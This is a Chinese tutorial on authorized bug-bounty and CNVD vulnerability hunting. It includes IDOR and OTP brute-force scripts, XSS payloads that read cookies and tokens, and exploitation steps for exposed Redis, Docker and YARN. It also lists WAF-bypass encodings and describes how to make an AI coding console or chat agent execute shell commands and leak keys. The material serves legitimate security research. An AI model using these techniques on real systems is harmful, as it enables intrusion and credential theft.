# 从资产闭环到证据链:CNVD 与 SRC 漏洞挖掘手法与技巧详解 上一篇讲了总体思路,这篇把「手法」摊开写细。所有内容都在**已授权**的企业 SRC、CNVD 报送或自建靶场语境下使用;不接受未授权测试,具体平台的报送规则以官方页面为准。 一个反复被验证的结论是:高价值漏洞很少来自「模板扫一遍」,而是来自下面这条链路的某一环被走通: ```text 资产 → 入口 → 对象/权限关系 → 数据流或调用链 → 安全边界 → 实际影响 → 证据 → 报告 ``` 下面按这条链路,逐段给出可落地的手法、判据和假点。 --- ## 一、总纲:三种判据,决定一条线索值不值得报 挖洞时会遇到大量「看起来像」的点。真正决定能不能提交的,是三类判据: 1. **可达性**:外部输入到底有没有进入危险处理链?中间有没有被过滤、被前端拦、被网关吞掉? 2. **权限边界**:后端到底依据什么授权——用户 ID、租户 ID、角色、资源归属,还是仅仅相信了请求里传来的字段? 3. **影响可证**:能否稳定复现,影响是「能读一份别人的数据」还是「能改状态 / 能出网 / 能拿凭据」,两者定级完全不同。 判断一个点是真洞还是假点,最有效的方法是**做对照**: - 对照接口行为:不带某参数 / 不带某 Header / 不带会话,结果是否明显不同。 - 对照对象归属:换成别人的 ID,响应内容、长度、字段是否跟着变。 - 对照公开面:公开搜索 / 公开橱窗里查不到的东西,在未授权口里出现了,才算数。 没有对照,只有「返回了 200」或「页面不一样」,一律当候选,不写报告。 --- ## 二、资产与入口:一种子一闭环 ### 2.1 节奏比工具重要 常见错误是一次性把几十个种子全丢给 FOFA,然后对着几千条结果发呆。更稳的节奏是: 1. 起手先落一份种子队列:用户给的目标词 + 业务/品牌名 + SRC 范围域 + 全资子公司域,多列几条,别只有一条。 2. 挑**一个**种子,搜它的资产 → 去重 → 去废(灰度测试、占位页、纯 CDN)→ 去非存活。 3. 把剩下的活面逐个建功能清单,一个一个挖完。 4. 这个种子活面挖完,才标完成,再搜下一个种子。 好处是每一条结论都能回溯到具体域名、页面、接口和结果,不会「搜了一堆但一个都没打穿」。 ### 2.2 FOFA 最短语法 ```text qbase64:查询语句 UTF-8 再 Base64 fields:host,ip,port,title,server size:先小后翻(翻的是同一个种子,不是换种子) domain="target.com" header="application/json" body="actuator" port="8080" server="nginx" && domain="target.com" cert.subject="品牌" icon_hash="xxx" status_code="200" 组合用 && ;排除用 != ``` 几个高 ROI 的组合: - `body="actuator" && domain="target.com"`:Spring Boot 暴露面。 - `header="application/json" && domain="target.com"`:前后端分离的 API 网关。 - `cert.subject="品牌名"`:按证书主体找同品牌资产,绕过域名清单。 - `icon_hash="xxx"`:按图标找同套系统(同一套 OA / 网关的多个部署)。 ### 2.3 资产细节:子域、指纹、虚拟主机 ```bash # 证书透明日志找子域 curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sort -u # 存活 + 指纹 cat subdomains.txt | httpx -title -tech-detect -status-code -o live_hosts.txt # 虚拟主机发现(同一个 IP 上靠 Host 区分站点) ffuf -w wordlist.txt -u https://target.com -H "Host: FUZZ.target.com" -mc 200,301,403 ``` 指纹主要看:`Server` / `X-Powered-By` / Cookie 名(`PHPSESSID`=PHP、`JSESSIONID`=Java)/ HTML 注释 / `meta generator` / 前端框架文件名。指纹决定后面开哪本测试模块,不做无差别全跑。 ### 2.4 遇到登录页怎么处置 打开就是登录页,不等于「这个资产没东西」。正确顺序: 1. 先判断当前 host 是不是统一认证入口,业务面是否在**同一 host 的其它 path**或**跳转后的 host / 网关**。 2. 没有会话时,先挖未登录可见的公开面(公开搜索、公开详情、文档、列表 JSON)。 3. 登录表单能一眼打通或证伪就停;繁琐验证码 / 别人的身份页不要耗。 4. 清单里如果有发会话、重置、改绑、换票类入口,按认证链去打(见第九节)。 5. 一旦拿到合法会话,立刻转「对象图 / 换 id」(见第四节),不要再对着引号里的参数打转。 **反面教材**:看到 `401/403` 就反复磨登录 HTML。正确做法是分清——是登录页(找业务面),还是业务 API 的 401/403(现场改 path / METHOD / 头自己打)。 --- ## 三、JS 逆向:不只抽 path,要抽「钥匙」 JS 逆向的价值不在「找到 `/api/xxx`」,而在于找到**能让你构造任意请求的东西**。进站时按顺序抽这几类: - 路由、API 前缀、请求方式; - 盐值 / 签名密钥 / HMAC 逻辑(`sign`、`_token`、`x-sign`); - 密文 id 的加密公钥 / 算法(`modulus`、`RSA`); - hidden / admin 路由、webpack 异步 chunk; - **写死的演示号 / 测试租户 / 默认账号**(这些是「钥匙」,不是登录框字典)。 ### 3.1 批量抽接口 ```bash for url in $(cat js_files.txt); do curl -s "$url" | grep -oP '"(/api/[^"]+)"' | tr -d '"' done | sort -u > discovered_apis.txt # 关键词过滤 grep -E "(userId|uid|token|sign|order|payment)" discovered_apis.txt ``` ```bash # webpack chunk 里的隐藏路由 grep -oP 'path:\s*["\x27][^"'\'']+' all_js.txt grep -oP 'baseURL:\s*["\x27][^"'\'']+' all_js.txt grep -oP '"(/[a-z]+){1,5}"' all_js.txt | sort -u | grep -v node_modules ``` ### 3.2 加密参数:断点定位 → 复现 请求里带 `sign` / `x-sign` 时,用断点定位签名函数: ```text 1. break_on_xhr("/api/target-endpoint") 2. 页面触发操作,暂停后看调用栈 3. 定位到 signRequest / sign 一类函数,读源码 ``` 常见的三种签名模式: ```javascript // 模式1:参数排序 + MD5 const sorted = Object.keys(params).sort().map(k => `${k}=${params[k]}`).join('&'); return md5(sorted + SECRET_KEY); // 模式2:timestamp + nonce + HMAC return hmacSha256(ts + nonce + JSON.stringify(data), APP_SECRET); // 模式3:固定 salt 拼接 const sign = md5(userId + ':' + timestamp + ':' + SALT); ``` 在浏览器里直接调用页面函数拿到参考值,再用 Python 复现并比对: ```python import hashlib, hmac, time, random, string def sign_request(params: dict, secret_key: str) -> str: sorted_str = '&'.join(f"{k}={params[k]}" for k in sorted(params.keys())) return hashlib.md5((sorted_str + secret_key).encode()).hexdigest() def sign_hmac(data: str, app_secret: str) -> str: ts = str(int(time.time() * 1000)) nonce = ''.join(random.choices(string.ascii_lowercase, k=8)) return hmac.new(app_secret.encode(), (ts + nonce + data).encode(), hashlib.sha256).hexdigest() ``` 签名能离线复现,意味着一整类「前端限制」失效——你可以构造任意 `userId`、任意金额、任意对象 ID 的请求,越权和逻辑漏洞的可用面会成倍放大。 ### 3.3 JS 里还会漏什么 ```bash grep -oE "192\.168\.[0-9]{1,3}\.[0-9]{1,3}" *.js # 内网地址 grep -oE "10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}" *.js grep -oE "172\.(1[6-9]|2[0-9]|3[01])\.[0-9]{1,3}\.[0-9]{1,3}" *.js ``` 写死的 AK/SK、测试环境域名、内部管理路径、隐藏的 GraphQL 端点,都属于高价值线索。 --- ## 四、越权 / IDOR:先读差分,写操作先加后清 越权是 SRC 里产出最多、也最容易误报的一类。 ### 4.1 找标识参数 ``` URL 路径: /api/user/12345/info URL 参数: ?userId=12345&orderId=ABC 请求体: {"uid": 12345, "target_id": "user_abc"} 响应体中: {"id": 12345, "created_by": 67890} ← 收集这些 ID ``` 高价值接口特征:路径含 `user` / `account` / `profile` / `order` / `bill` / `message`;响应里带手机号、邮箱、真实姓名、身份证;方法含 `update` / `edit` / `delete` / `change`。 ### 4.2 读差分(默认手段) ```python # A 的 token 去访问 B 的资源 r1 = requests.get("https://target.com/api/user/info", params={"userId": "A的ID"}, headers={"Authorization": token_a}) r2 = requests.get("https://target.com/api/user/info", params={"userId": "B的用户ID"}, headers={"Authorization": token_a}) # r2 成功返回 B 的数据 → 水平越权 ``` 判据不是状态码,而是**响应里的对象归属**:姓名、手机、订单号、文件是否变成了别人的。 ### 4.3 没有第二个账号也能打 不必为了凑第二个账号去磨注册。可用: - 列表 / 回包 / 导出里别人真实出现的 ID; - 邻号枚举:`±1`、`±10`、`0`、`-1`、`999999`; - **哨兵值**:`0` / `-1` / 空 / 不传。很多系统在「正常 ID 被拦」后,对哨兵值反而返回全量或他人数据。 ### 4.4 常见绕过 ``` # 参数污染 ?userId=A_ID&userId=B_ID # 有的框架取最后一个 body userId=A_ID + url ?userId=B_ID # 有的校验 body,有的用 url # 路径遍历 /api/user/A_ID/orders → /api/user/B_ID/orders /api/user/A_ID/..%2fB_ID/orders # 未授权 去掉 Authorization 头 / 换成 invalid_token 直接请求 ``` ### 4.5 写越权:先加后清(最小伤害) 写越权**要测**,但不是对着别人已有的数据改删。顺序是: 1. **先测添加**:用自己的号(或未登录)调创建口,看能不能把新对象挂到别人名下 / 别人店 / 别人租户。成功即证写越权。 2. **再删自己刚加的那一条**:用同一条接口或对应删除口清掉,不留脏数据。 3. **不要**改别人已有订单、密码、角色,不要删别人原来的地址 / 券 / 商品。 4. 现场只有改/删现成对象的入口时:只改一个**自己能改回去**的测试字段,打一次就停。 5. 涉及改密 / 改角色 / 改绑:可探(拿掉旧验证看是否通过),过了**立刻改回**;改不回就停在回包,不要把别人的密、角色、邮箱留下。 6. 扣钱、清库存、真转资金不做。禁止批量。 --- ## 五、未授权敏感读与信息泄露:那些「看起来没口」其实有口 这类点是国内目标里很好出成绩的一块,也是最容易「以为没洞」的地方。 ### 5.1 结构化接口 ```bash # 分页越界拿全量 ?page=99999&pageSize=1000 ?offset=0&limit=99999 # 导出接口不限量 /api/export/users?format=csv /api/export/orders?startTime=2020-01-01&endTime=2026-01-01 # 搜索接口通配符 ?keyword=% # URL 编码的 %,SQL LIKE 通配 ?keyword=* ?q= # 空搜索返回全部 # GraphQL 自省 curl -X POST "https://target.com/graphql" \ -H "Content-Type: application/json" \ -d '{"query":"{ __schema { types { name fields { name } } } }"}' ``` ### 5.2 「别停」清单(关键手法) 很多点不是没有,而是你停早了。以下每一条都是「表面像没口,换一步就出东西」: 1. **详情口 id 是密文时**,去 JS 找公钥 / 算法,自己加密别人的 ID。 2. **证照图 / 扫描件**:详情返回商标证、执照图片就打开看,注册人行常把身份证号拼在姓名后面。 3. **导出任务 `pageNum=0` 为空**:改 `pageNum=1`,常出全站别人的导出;抄 `fileName` / key 打 download。 4. **手机字段打码**:未发布详情的 `requirement` / 备注 / 自由文本里常把完整 11 位手机写进去,结构化字段被剥离了但正文没处理。 5. **目录页写「访客请登录」**:同站 search API(Keyword + Page + PageSize)未登录仍可能出内部文档正文和详情 URL。 6. **详情口已补 / 项目不存在**:同站 visit-log / 埋点口只要数字篇号,仍可能出 OA / 内部全文。 7. **内容预览口只吃数字 contentId**:回包 `isDelete=1` / 已删除 / 未发布也别停,对照公开橱窗应查不到。出整页 H5 或编辑器 JSON 才算数,只出标题不算。 8. **收集表 / 问卷填报页**:填报页只是题目,答卷表可能另有一个 id,不登录打答卷表详情,常出身份证 / 手机单元格。 **算成**:未公开业务正文从列表出来(不是公开橱窗标题),或他人主体手机 / 证件,或证照图上印着的身份证号。 **假点**:加了可见性参仍只出公开稿;只有标题没有正文;列表 401 就当没洞;空数组和缺参出的是同一份上架稿。 ### 5.3 中间件暴露面(见了才打) | 见什么 | 打哪 | 出什么算成 | | --- | --- | --- | | `:6379` Redis 无密码 `PING`→`PONG` | 写 webshell / crontab / `authorized_keys`(目录得是真 web 根) | 命令跑起来,或读到业务库 | | `:873` rsync 匿名可列模块 | 下业务文件;模块可写再看能否写 cron | 拉到密钥 / 业务数据 | | `:9000` PHP-FPM 直接暴露 | FastCGI 包打已有 `.php`(`PHP_VALUE=auto_prepend_file=php://input`) | 指定 PHP 被执行 | | `:8009` AJP | Ghostcat 读 `/WEB-INF/web.xml` | 读到 web.xml / class | | `:8088` Hadoop YARN UI | `POST /ws/v1/cluster/apps/new-application` 提交带 `commands` 的 app | 集群里跑了你的命令 | | `:2375` Docker API | `GET /v1.24/containers/json`;能 create 再挂 `/:/host` | 列出容器或读到宿主机文件 | | `/h2-console` | JDBC URL JNDI 或 `CREATE ALIAS` | 命令跑起来 | 公网直连和 SSRF 打内网是同一套 sink,差别只是入口。**没有这些端口不要为了这张表去全端口扫。** --- ## 六、注入 / SSRF / XSS:先建基线,再做差分 ### 6.1 通用差分法 1. 先发正常请求,记录基线(状态码、长度、耗时、关键字)。 2. 再发带影响语义的请求,比对差异。 3. 确认是「WAF 拦」还是「应用拒绝」还是「逻辑没走到」。 4. 每次只改一个变量,保留前后响应。 **注入**:比较参数进入查询、排序、过滤、模板后的行为差异,确认可控范围。 **SSRF**:确认请求是否由服务端发起、能访问什么范围、响应是否可回显;不要以单次超时下结论。 **XSS**:区分反射/存储/DOM,结合真实输出上下文判断是否可执行,而不是看字符串是否原样返回。 ### 6.2 XSS 证明方式(SRC 要求) 不要用 `alert(1)` 证明危害,用能证明影响的载荷: ```javascript alert(document.cookie) // 能读 Cookie alert(localStorage.getItem('token') || sessionStorage.getItem('token')) // 能读 token alert(document.domain) // 证明不是 self-xss ``` 内联事件作用域里 `cookie` = `document.cookie`,`URL` = `document.URL`,可写成 `a=alert,a(cookie)`。 冷门自动事件(`onerror` / `onload` 被剥时用,标签名可以随便): ```html Go ``` ### 6.3 XSS → RCE 的两条升级链(企业客户端) - **企业 Git + 桌面客户端**:README / 议题 / MR 描述能写 HTML → 当存储型 XSS 打进客户端 → 若客户端暴露了桥(`process` / `require`)再升 RCE。 - **Electron / CEF 自定义协议**:协议参数有 `url` / `urlType` / `open` / `openUrl` / `webview` 时,协议里填自己的页面;页面上先探 `process` / `require` / `window.require`,有就执行命令,不要只认 Electron 10 的 `remote`。 **算成**:客户端里真的执行了你指定的无害命令。 **假点**:只在浏览器弹窗;客户端不渲染或沙箱死了——停在存储 XSS,不要写成 RCE。 --- ## 七、文件上传与对象存储:签名和策略是重灾区 对象存储相关的手法是近年国内 SRC 的高产区,核心是「签名 / 策略没绑死」。 | 认什么 | 打哪 | 出什么算成 | | --- | --- | --- | | 先申 STS,key 是文件 md5,或 assumerole 的 `filename` / `Action` 进 Policy | 凭证字段填 `*` / 空 / `/`,Policy 里 filename / Action 通配;List/Delete 403 别停,换匿名票再打 | 对方文档被你覆盖,或能列出并删别人的 key | | 网关把对象存储代理成 `/api/storage/sign`,query 吃 `key` | 不登录 `GET ?key=/` 拿 ListBucket XML,再 GET 列表里的业务前缀 | 列出并读到他人未公开对象原文 | | 站点图 / 指南挂在桶上,`?policy` 全 Allow | 无密钥 LIST,再 PUT 覆盖官方对象 | 官方指南 / 协议变成你传的 | | 带签 URL 的 `SignedHeaders` 里没有 `host` | 域名换成同账号另一个桶,加 `?uploads` 做分片列举 | 列出或读到别的桶里的对象 | | 对象内容你可控,Content-Type 被卡死,有临时钥或预签名 | 再签一枪,签进 `response-content-type=text/html` | 用签过的 URL 打开,浏览器当 HTML 跑(存储 XSS) | **假点**:`*` 只到废桶;覆盖 403;只能盖自己前缀;只能下自己刚传的;猜不到别人 key;CDN 不刷新看起来没被覆盖。 --- ## 八、业务逻辑与竞态:状态机、金额、次数、归属 ### 8.1 支付与优惠 ```bash # 价格篡改 POST /api/order/create {"goodsId":"123","count":1,"price":"0.01"} # 改单价 # 负数价格 / 负数积分 {"goodsId":"123","count":1,"price":"-100"} {"points": -1000} # 期望余额增加 # 整数溢出 {"count": 2147483647} ``` ### 8.2 商家促销绑定(B 端典型) 本质:商家后台的「把券绑到某件货」接口只信请求里的 `productId`,不校验这件货是不是本店的。 1. 用本店号建一张规则狠的券(无门槛、面值大)。 2. 正常绑一次自己的货,抓住绑定请求。 3. **只改** `productId` 成别人店、别的品类的货;券 ID 不动。 4. 打开 C 端那件货的详情 / 下单页,看标价和应付。 **算成**:C 端别人那件货的应付价按你这张券掉下来。 **假点**:绑定接口 200 但 C 端价不变;只绑得动自己的货。 ### 8.3 竞态(并发) ```python import threading, requests def consume(): r = requests.post("https://target.com/api/pay", headers={"Authorization": f"Bearer {TOKEN}"}, json={"amount": 100}) print(r.json()) # 余额 100,同时发 10 次 100 threads = [threading.Thread(target=consume) for _ in range(10)] [t.start() for t in threads]; [t.join() for t in threads] ``` 优惠券、积分、库存、领取次数、重复提交都属于同一类:**先看有没有幂等和乐观锁**,再决定要不要并发。 ### 8.4 验证码 / 短信 / 接管 ```python # 验证码可枚举 for code in range(0, 10000): r = requests.post("https://target.com/api/verify", json={"phone": "13800138000", "code": f"{code:04d}"}) if r.json().get("code") == 0: print(code); break ``` 万能码可试 `000000` / `123456` / `888888` / 空值 / 不发码直接提交。 - **密码找回越权**:发起找回 A → 拿到 token → 把请求里的 `phone` 改成 B → 若能改 B 的密码即任意重置。 - **接管**:号码注销后重新分配;改绑时验证码发到旧号。 - **只证明能发码不算打穿**:要走到「码回显 + 登录」「万能码 + 登录」「爆破 + 改密」才算闭环。 ### 8.5 业务逻辑绕过 ``` # 状态机:正常 1→2→3,尝试跳过 2 直接 3,或回退到 1 但保留 3 的结果 # 测试用参数:debug=true / test=1 / internal=1 / is_admin=true / role=admin / bypass_check=1 ``` 账号枚举:注册 / 登录接口对「用户不存在」和「密码错误」返回不同,即可枚举。 --- ## 九、认证与会话:发会话、重置、改绑、换票 认证链的手法集中在四个动作上: - **发会话**:二维码登录 / 运营配置深链里带着能当会话用的 token;不登录拿 token,带着 token 打开带会话的 URL。 - **重置**:找回密码流程里换手机号 / 换 token 归属。 - **改绑**:换绑手机 / 邮箱时校验旧值还是新值,验证码发到哪一端。 - **换票**:登录 / OAuth 回调里把 code / ticket / state 换给别人。 判据都是「对照」:不带这串 token 应该登录过期,带了就变成对方身份(`me` 接口返回别人的手机 / 角色)。 JWT / OAuth / SAML 的重点放在:算法混淆(`alg:none` / HS256 对称密钥)、`kid` 注入、`jku` / `x5u` 指向自有密钥、重放与有效期、SAML 签名剥离。 **红线**:拿到用户会话后,**严禁**调用登出 / 注销 / 吊销令牌接口,也不要拿「退出后会话是否仍有效」当测试目标——会话断了复现就没了。改密 / 改绑过了立刻改回。 --- ## 十、WAF 绕过:有差分面之后再动手 WAF 绕过不是开场动作。顺序是:先确认参数确实进入目标处理链 → 观察是 WAF 拦截还是应用拒绝 → 确认存在可利用差分面 → 再换编码 / 位置 / 结构。每次只改一个变量。 ### 10.1 先识别 WAF ```bash wafw00f target.com curl -sI https://target.com | grep -i "server\|cf-ray\|x-sucuri\|x-akamai\|x-cache" ``` 行为指纹:发正常请求记录基线,再发明显攻击请求,比对状态码 / 拦截页内容 / 连接重置;拦截页文案常直接暴露厂商(Cloudflare / Imperva / ModSecurity)。 ### 10.2 通用绕过类别 | 类别 | 示例 | 绕的是什么 | | --- | --- | --- | | URL 编码 | `%3Cscript%3E` | 基础字符串匹配 | | 双重编码 | `%253Cscript%253E` | WAF 解一次、应用解两次 | | Unicode | `%u003Cscript%u003E` | IIS 归一化 | | HTML 实体 | `<script>` | 不做实体解码的 WAF | | 十六进制(SQL) | `0x756E696F6E` = union | 匹配 SQL 关键字的 WAF | | 混合大小写 | `SeLeCt` / `uNiOn` | 大小写敏感规则 | | 空字节 | `sel%00ect` | 在 null 处停止解析的 WAF | **分块传输**:把载荷拆到多个 chunk,使任一 chunk 都不含被拦特征(WAF 若不重组 body 就绕过)。 **HTTP/2**:头部是二进制 HPACK 帧,部分 WAF 只在降级到 HTTP/1.1 后检查;伪首部(`:method` / `:path`)常绕过基于头的规则,H2→H1 降级还可能引入走私。 **参数污染 HPP**:同一参数重复提交,不同服务器取值不同(PHP 取最后一个、ASP.NET 拼接、Flask 取第一个、Node 成数组)。`?a=sel&a=ect` 在 ASP.NET 下可能拼成 `select`。 **IP 欺骗头**:`X-Forwarded-For` / `X-Real-IP` / `True-Client-IP` / `Forwarded` 填 `127.0.0.1`,针对按来源 IP 分规则集的 WAF。 **路径归一化**:`/./admin`、`//admin`、`/%61dmin`、`/admin%00.jpg`、`/admin.`、`/admin;jsessionid=x`——让 WAF 看到的路径和应用解析出的路径不一致。 **Content-Type 切换**:WAF 常按格式选解析器,换 `Content-Type` 可能换到规则更弱的解析路径。 --- ## 十一、新面:AI 编程台与对话口工具执行 这是近两年新增的高价值面,注意别和「提示词越狱」混为一谈。 ### 11.1 云 IDE / Codex 系编程台 RPC 链 **认**:公网编程台有 `/tenant-api/login` + `/codex-api/rpc`(租户登录 + Codex RPC)。 **一句话链路**: ``` 弱口令/未授权登录 → 租户会话 → POST /codex-api/rpc method=command/exec(root) → env / fs 读集群 SA + 模型 API Key + 邀请码 ``` ```bash # 指纹 curl -sk -X POST "https://HOST/tenant-api/login" -H "Content-Type: application/json" \ -d '{"username":"x","password":"y"}' curl -sk -X POST "https://HOST/codex-api/rpc" -H "Content-Type: application/json" \ -d '{"method":"meta/methods","params":{}}' # 无 Cookie 也看错误形态 # 登录后 -d '{"method":"command/exec","params":{"command":["id"]}}' -d '{"method":"fs/readFile","params":{"path":"/etc/os-release"}}' -d '{"method":"command/exec","params":{"command":["cat","/var/run/secrets/kubernetes.io/serviceaccount/token"]}}' ``` 危险方法:`command/exec`、`fs/readFile|writeFile|remove|readDirectory`、`meta/methods`、`thread/start`、`model/list`。 **危害证据优先级**:`id` → `uid=0(root)`;hostname 像持久计算面 Pod;模型 `*_API_KEY`;`KUBERNETES_SERVICE_HOST` + 可读 SA token。 **假点**:通配符证书的临时实例随时销毁;只登录但没有 RPC;模型只口头说执行了。 ### 11.2 对话口工具真执行 **认**:身份口(whoami / profile)回 401,但**同一套前端的对话口**(`/chat` / `createTask`)不带 Cookie 仍接;且工具列表里有会跑命令的工具(`bash` / `shell` / `code_interpreter` / `python` / `execute`,名字不封闭)。 **打**(不登录):POST 对话口,让模型**点名用那个工具**跑 `echo 标记 && id`,或让它用 Python 算一串你本机也能算的 md5。不要只问「请执行」。 **算成**:stdout / SSE 里出现 SRC 验证台 flag、云密钥(能问出账号)、或他主体业务正文。 **假点 / 停**:模型只口头说执行了、数字对不上;沙箱拒命令;`uid=` 和本机 md5 只证明命令跑了,**不算成**,跟不出 flag / 云钥 / 他主体正文就证伪停。 --- ## 十二、白盒审计:从「危险函数搜索」转向「可达数据流」 给源码时按 Phase 0~6 推进。 ### Phase 0 建立范围 确认项目版本、构建方式、关键模块、入口服务、依赖与配置。先明确审的是框架本身、业务模块,还是某条暴露接口。 ### Phase 1 画边界 整理 HTTP / RPC / 消息队列 / 文件 / 数据库 / 模板 / 缓存 / 任务的输入输出边界,标出认证、授权、租户隔离位置。 ### Phase 2 追数据流 从请求参数、Header、Cookie、上传文件、反序列化对象、外部消息出发,追到 SQL、文件路径、HTTP 客户端、命令执行、模板渲染、表达式解析、权限判断等敏感汇点。 ### Phase 3 看调用链与条件 不能只凭危险函数命中下结论。要确认:调用链是否可达、是否经过过滤、是否有编码差异、是否受角色/租户/状态约束、异常分支是否绕过检查。 ### Phase 4 最小验证 用最小输入证明根因与影响。权限问题证「谁能对谁做什么」;注入问题证「外部输入是否控制了危险语义」。不执行破坏性利用,不扩大读取范围。 ### Phase 5 去重与定级 同一根因导致多个入口时,按**根因**归并,保留代表入口和影响范围,不要把一个问题拆成很多条。区分确认事实、推测链路、未验证候选。 ### Phase 6 报告与修复建议 修复建议落到代码和配置:在哪里加授权、如何绑定租户、如何参数化查询、如何限制出站、如何安全解析、补什么回归测试。 --- ## 十三、CNVD 与 SRC 的交付重点 | 维度 | SRC 报告 | CNVD 方向报告 | | --- | --- | --- | | 关注重点 | 项目范围、业务影响、可复现步骤、提交质量 | 产品/组件、版本范围、漏洞类型、根因、修复建议 | | 证据表达 | 脱敏请求响应、对象关系、前后差异、截图、影响说明 | 产品信息、受影响版本、通用复现条件、影响与修复方案 | | 加分项 | 低噪音、验证充分、影响贴近业务、不给企业造成额外损失 | 组件识别准确、版本边界清楚、根因解释完整、修复建议可执行 | | 常见问题 | 把前端限制当授权、只报状态码、不说明对象归属 | 只给工具结果、不确认版本、把猜测写成已验证事实 | ### 一份通用报告至少应包含 1. 标题:产品/业务 + 漏洞类型; 2. 测试范围与前置条件; 3. 复现步骤与关键请求; 4. 预期结果与实际结果; 5. 影响范围与业务后果; 6. 脱敏证据(截图、请求响应、差分结果); 7. 根因分析; 8. 修复建议与回归验证点; 9. 仍未确认的边界与限制。 报告最忌三件事:把扫描器结果当结论,把缓存 / 历史页面当实时证据,把局部验证包装成全量核验。 --- ## 十四、假点清单与常见坑 - 只跑全量扫描,不看业务对象和状态机; - 看到登录页就换资产,没继续找业务面; - 看到 `401/403` 反复磨登录 HTML,而不判断它是不是业务 API; - 把前端菜单隐藏、返回 `200`、一个异常页面直接当漏洞; - WAF 还没确认拦截差分就先大量绕过; - 为了证明写权限去改别人既有数据; - 测试结束登出 / 吊销会话,破坏复现现场; - 用 CORS 缺头代替真实的越权 / 注入 / 业务影响; - 中危以上问题在清单里压很久,不落正式报告; - 不区分已验证、部分完成、未执行、推测。 还有一个常见误判:**缓存 ≠ 实时,历史页面 ≠ 当前状态,发现 ≠ 可用**。定级和结论都必须建立在当前可复现的证据上。 --- ## 结语 把整篇压缩成一句话: ```text 谁 → 在什么范围 → 通过什么入口 → 影响了什么对象 → 造成什么后果 → 如何修复 ``` 资产测绘做成闭环,JS 逆向落到「钥匙」,越权落到对象差分,上传落到签名与策略,逻辑落到状态机与并发,认证落到发会话 / 重置 / 改绑 / 换票,白盒落到可达数据流——最后所有结论都写成可复现、低伤害、可复核的证据链。这套方法比单纯堆工具更稳定,也更适合长期做 CNVD 和 SRC。 > 再次强调:以上手法仅限授权测试与合法漏洞研究。测试全程保持最小伤害,不做破坏性利用、不造成真实资损、不登出用户会话、不批量操作生产数据。